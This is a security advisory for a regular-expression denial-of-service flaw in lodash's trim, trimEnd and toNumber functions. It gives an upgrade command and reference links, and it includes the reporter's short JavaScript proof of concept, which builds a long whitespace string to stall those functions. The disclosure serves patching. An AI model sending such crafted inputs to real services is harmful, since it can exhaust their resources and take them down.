GHSA-29mw-wpgm-hmr9
Regular Expression Denial of Service (ReDoS) in lodash
Quick fix
GHSA-29mw-wpgm-hmr9 — lodash: upgrade to the fixed version with the command below.
npm install lodash@4.17.21Details
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions.
Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash');
function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```
Are you affected?
Enter the version of the package you're using.
Affected packages
4.0.0No fixed version published yet for lodash.trimend (npm). Pin to a known-safe version or switch to an alternative.
4.0.0No fixed version published yet for lodash.trim (npm). Pin to a known-safe version or switch to an alternative.
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-28500[ADVISORY]
- https://github.com/github/advisory-database/pull/6139[WEB]
- https://github.com/lodash/lodash/pull/5065[WEB]
- https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7[WEB]
- https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a[WEB]
- https://www.oracle.com/security-alerts/cpuoct2021.html[WEB]
- https://www.oracle.com/security-alerts/cpujul2022.html[WEB]
- https://www.oracle.com/security-alerts/cpujan2022.html[WEB]
- https://www.oracle.com//security-alerts/cpujul2021.html[WEB]
- https://snyk.io/vuln/SNYK-JS-LODASH-1018905[WEB]
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893[WEB]
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895[WEB]
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892[WEB]
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894[WEB]
- https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896[WEB]
- https://security.netapp.com/advisory/ntap-20210312-0006[WEB]
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml[WEB]
- https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8[WEB]
- https://github.com/lodash/lodash[PACKAGE]
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf[WEB]